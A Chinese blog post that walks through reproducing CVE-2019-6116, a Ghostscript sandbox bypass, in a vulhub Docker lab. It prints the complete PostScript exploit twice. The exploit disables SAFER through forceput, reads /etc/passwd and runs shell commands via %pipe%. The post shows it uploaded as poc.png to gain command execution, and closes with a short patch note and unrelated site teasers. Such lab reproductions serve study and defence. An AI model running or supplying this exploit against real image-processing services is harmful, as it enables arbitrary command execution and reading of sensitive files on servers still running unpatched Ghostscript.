[ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116

news2024/11/26 12:50:04

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2019-6116环境
    • 2、启动CVE-2019-6116环境
    • 3、查看CVE-2019-6116环境
    • 4、访问CVE-2019-6116环境
    • 5、查看CVE-2019-6116漏洞提示信息
    • 6、关闭CVE-2019-6116环境
  • 五、漏洞复现
    • 1、POC
    • 2、访问漏洞页面
    • 3、构造执行ls的poc
    • 4、上传poc.png
    • 5、命令执行成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2019-6116

二、影响范围

Ghostscript 9.24之前版本

三、漏洞描述

Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大。以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。在文件上传过程中,有可能会用GhostScript来处理图片。
CVE-2019-6116可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

四、环境搭建

1、进入CVE-2019-6116环境

cd vulhub/ghostscript/CVE-2019-6116

在这里插入图片描述

2、启动CVE-2019-6116环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2019-6116环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2019-6116环境

访问ip+端口

http://192.168.233.128:8080/

在这里插入图片描述

5、查看CVE-2019-6116漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2019-6116环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%命令 > /tmp/success)(w) file closefile
 
(All done.)=
 
quit

2、访问漏洞页面

在这里插入图片描述

3、构造执行ls的poc

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%id > /tmp/success) (w) file closefile
 
(All done.)=
 
Quit

在这里插入图片描述

4、上传poc.png

上传poc.png,将执行命令id > /tmp/success,将id这个命令写入到success这个文件中

在这里插入图片描述

5、命令执行成功

docker ps
docker exec -it 5980166c5beb /bin/bash
ls /tmp

看到了success文件,证明命令执行成功

在这里插入图片描述

六、漏洞修复

建议更新到(c47512e5e638d903d69925f7ebab4de2aa3f481f)之后的版本,或者直接重新拉取master分支进行更新,若无法更新可先尝试禁用使用gs解析ps文件。

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86224.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件测试面试必看,资深测试工程师面试题集锦 全网首发

全网首发&#xff0c;最牛的全套软件测试 &#xff0c;自动化测试面试题&#xff0c;这些面试题都在文章末尾&#xff0c;有需要的可以自取 废话少说直接开始咱们今天的整体内容&#xff0c; 1.自我介绍&#xff1f; 我是谁、工作几年、你上家公司做什么、负责什么、你的优势…

史上最全事件相机DVS/Event-based Camera的介绍和分析综述文章

史上最全事件相机DVS/Event-based Camera的介绍和分析1. DVS 的一些介绍2. 基于事件的视觉传感器发展现状与趋势3. 事件相机的动态范围&#xff1a;信噪比动态范围DR结论4. 新型相机DVS/Event-based camera的发展及应用应用点传统相机的缺点事件相机的优点5. 事件相机在无人驾驶…

[技巧]还在使用RDP远程windows?OpenSSH远程win10操作系统!

文章目录前言一、Win10开启OpenSSH服务1.1 查看本机是否安装了openssh1.2 下载openssh1.3 查看ssh是否安装1.4 安装openssh服务端1.5 启动openssh服务1.6 查看openssh服务是否启动正常二、开始远程2.1 在目标机器上查看用户名2.2 使用ssh命令远程三、常见问题3.1 ssh命令登陆提…

C# 接口

一 接口 接口&#xff08;interface&#xff09;实际上是一个约定。 如&#xff1a;ICloneable,IComparable; 接口是抽象成员的集合&#xff1b; ICIonable含有方法clone(); IComparable含有方法compare(); 接口是一个引用类型&#xff0c;比抽象类更抽象。 帮助实现多重继承…

配置本地Git从Gitlab上拉取项目

配置本地Git从Gitlab上拉取项目 安装git&#xff1a; https://git-scm.com/downloads git官网下载安装包&#xff0c;安装时一路next即可 ①配置用户名&#xff0c;邮箱 创建一个文件夹&#xff0c;任意位置即可鼠标右键选择&#xff0c;git bash here配置提交人姓名、邮箱 g…

一起学习用Verilog在FPGA上实现CNN----(二)卷积层设计

1 打开Vivado工程 Vivado工程文件如图&#xff1a; 打开Vivado软件&#xff0c;打开工程&#xff0c;如图&#xff1a; 自动升级到当前版本&#xff0c;如图&#xff1a; 暂时选择现有开发板的型号&#xff0c;如图&#xff1a; 出现一条警告性信息&#xff0c;暂时先不管&…

2023年第五届人工智能与机器学习国际会议(FAIML 2023)

2023年第五届人工智能与机器学习国际会议(FAIML 2023) 重要信息 会议网址&#xff1a;www.faiml.org 会议时间&#xff1a;2023年4月14-16日 召开地点&#xff1a;中国北京 截稿时间&#xff1a;2023年3月15日 录用通知&#xff1a;投稿后2周内 收录检索&#xff1a;EI,S…

差分进化算法在图像处理中的应用研究(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 本文为Storn和Price制定的著名差分进化计算智能算法的实现。该算法使用Otsu准则作为适应度函数&#xff0c;可用于使用多个阈值…

为什么球的表面积不能用周长积分而体积可以用面积积分?

问题描述&#xff1a; 将面积从最底下一层层叠到最上面可以得到球体积的正确公式 但是将周长从最底下一层层叠到最上面会得到错误结果&#xff0c;错误结果的几何意义是什么&#xff1f;以及是在什么地方积错了&#xff1f; 解答一&#xff1a; 首先&#xff0c; ∫−RR2πR2…

计算机研究生就业方向之去央企(国企)信息化部门

我一直跟学生们说你考计算机的研究生之前一定要想好你想干什么&#xff0c;如果你只是转码&#xff0c;那么你不一定要考研&#xff0c;至少以下几个职位研究生是没有啥优势的&#xff1a; 1&#xff0c;软件测试工程师&#xff08;培训一下就行&#xff09; 2&#xff0c;前…

C语言:星期一问题

题目需求 整个20世纪&#xff08;1901年1月1日至2000年12月31日之间&#xff09;&#xff0c;一共有多少个星期一&#xff1f; (不要告诉我你不知道今天是星期几哈) 请用一段程序实现了这一功能。 算法思路 判断1901年1月1日到2000年12月31的每一天是星期几&#xff0c;如果是星…

前端开发:JS中关于正则表达式的使用汇总

前言 在前端开发过程中&#xff0c;关于正则表达式的使用也是必备技能&#xff0c;尤其是在实际业务需求的时候&#xff0c;需要处理一些不能按照正常语句操作的逻辑&#xff0c;如前端开发中的字符匹配、参数处理等都需要正则表达式来匹配截取处理。虽然正则表达式在程序开发中…

01-18-spark-入门简介-部署入门

01-spark-入门简介&#xff1a; Spark 是一种基于内存的快速、通用、可扩展的大数据分析计算引擎。 一次性数据计算&#xff1a;框架在处理数据的时候&#xff0c;从存储设备中读取数据&#xff0c;进行逻辑操作&#xff0c;然后将结果存储到介质中。 Hadoop 的 MR 框架和 S…

直播技术分享:千万级直播系统后端架构设计的方方面面

1、引言 本文以TFBOYS“日光旅行”七周年这场直播演唱会为案例&#xff0c;为你分享大型直播系统后端架构设计的方方面面&#xff0c;包括&#xff1a;基本架构、稳定性保障、安全性障、监控报警、应急预案等技术范畴。 案例中的这次演唱会采用了在线实时互动及演唱会现场的多…

【能效管理】关于某项目配套渗滤液工程电能管理系统的设计和应用

摘要&#xff1a; 介绍老港综合填埋场二期配套渗滤液工程电能管理系统&#xff0c;采用智能电力仪表采集配电现场的各种电参量。系统采用现场就地组网的方式&#xff0c;组网后通过现场总线通讯并远传至后台&#xff0c;通过Acrel-3000电能管理系统实现配电回路用电的实时监控…

服开与编排,老兵新传

前段时间&#xff0c;有同学问&#xff1a;编排与服开是什么关系&#xff1f;现在运营商都建设编排系统&#xff0c;那是不是服务开通以后就退出 OSS 舞台了&#xff1f;为什么会出现编排&#xff1f;这些问题对于行业老兵来说感慨万千&#xff0c;而对于新兵来说就要通过追溯其…

深度学习炼丹-超参数设定和网络训练

前言网络层内在参数 使用 3x3 卷积使用 cbr 组合尝试不同的权重初始化方法 图片尺寸与数据增强batch size 设定 背景知识batch size 定义选择合适大小的 batch size学习率和 batch size 关系 学习率参数设定 背景知识什么是学习率如何设置学习率 优化器选择 优化器定义如何选择…

中国制造构建全球产业链,是关于价值链的创新

经过20天激战&#xff0c;世界杯最终四强全部出炉。 与此同时&#xff0c;绿茵场外的品牌营销大战也即将步入终章。据伦敦数据分析咨询公司GlobalData表示&#xff0c;中国赞助商对卡塔尔世界杯总赞助金额为13.95亿美元&#xff0c;蝉联赞助金额榜单的首位。一时间&#xff0c…

一、Docker简介与安装

1、Docker是什么&#xff1f;为什么会出现Docker 假定您在开发一个购物商城&#xff0c;您使用的是一台笔记本电脑而且您的开发环境具有特定的配置。其他开发人员身处的环境配置也各有不同。您正在开发的应用依赖于您当前的配置且还要依赖于某些配置文件。此外&#xff0c;您的…

中国新闻周刊专访:大数据时代,普通人的信息安全如何保证?

技术是一个放大器 本质应该更好地服务人们的生产生活 近年来&#xff0c;随着大数据运用的日益频繁&#xff0c;技术日益成熟&#xff0c;隐私数据的泄露已到了触目惊心的状态。据不完全统计&#xff0c;2022年以来隐私数据泄露的各类案例多达数百万起&#xff0c;受隐私数据泄…